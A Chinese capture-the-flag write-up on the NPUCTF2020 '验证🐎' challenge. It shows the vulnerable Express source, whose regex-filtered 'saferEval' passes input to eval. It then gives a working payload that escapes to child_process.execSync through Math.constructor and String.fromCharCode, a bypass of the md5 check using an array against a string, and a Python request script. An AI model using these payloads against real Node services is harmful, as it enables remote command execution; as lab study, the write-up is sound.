刷题笔记:[NPUCTF2020]验证🐎

前言

关键字:[验证码|JavaScript|无字母数字|js弱类型]

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦，上次的库太垃圾，我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
  name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿，给👴爪⑧
  keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码，用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  req.session.admin = req.session.admin || 0;
  res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

题解

显然，绕过过滤命令执行

?:表示不捕获分组

取Function字样

然后就可以这样执行js代码。

let a=Math.constructor.constructor
console.log(a("return process.mainModule.require('child_process').execSync('dir').toString()")())

但这里只允许数字不允许字符串，可以利用String.fromCharCode()

def gen(cmd):
    s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
    return ','.join([str(ord(i)) for i in s])

print(gen('dir'))

然后利用字符串拼接凑出String

Math+1 //"[object Math]1"

再利用箭头函数自调用(()=>())()

let a = function () {
    console.log("123123");
};
a();

let b = (x) => {
    console.log(x);
};
b(123);

let c = (x) => console.log(x);
c(123);

payload：

(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))()))(Math+1)

美化一下

(Math=>
    (Math=Math.constructor,
            Math.constructor(
                Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                    99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                    46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                    95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                    121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
    )
)(Math+1)

其实就是这样，Math+1是传入的参数

(x=>
    (x=x.constructor,
          x.constructor(
               x.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                    99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                    46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                    95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                    121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
    )
)(Math+1)

js弱类型

在这需要进行绕过

可以利用js的弱类型

[1]+'1' //'11'
'1'+'1' //'11'
[1]!=='1'

这里需要用json传，应该是保证一个是数组一个是字符串。

import requests
import json

headers = {
    "Content-Type": "application/json"
}
url = "http://18ba1e8e-c273-45f3-bd2b-a2b05a922885.node4.buuoj.cn:81/"
data = {"e": "2-1", "first": [0], "second": "0"}
r = requests.post(url, data=json.dumps(data), headers=headers)
print(r.text)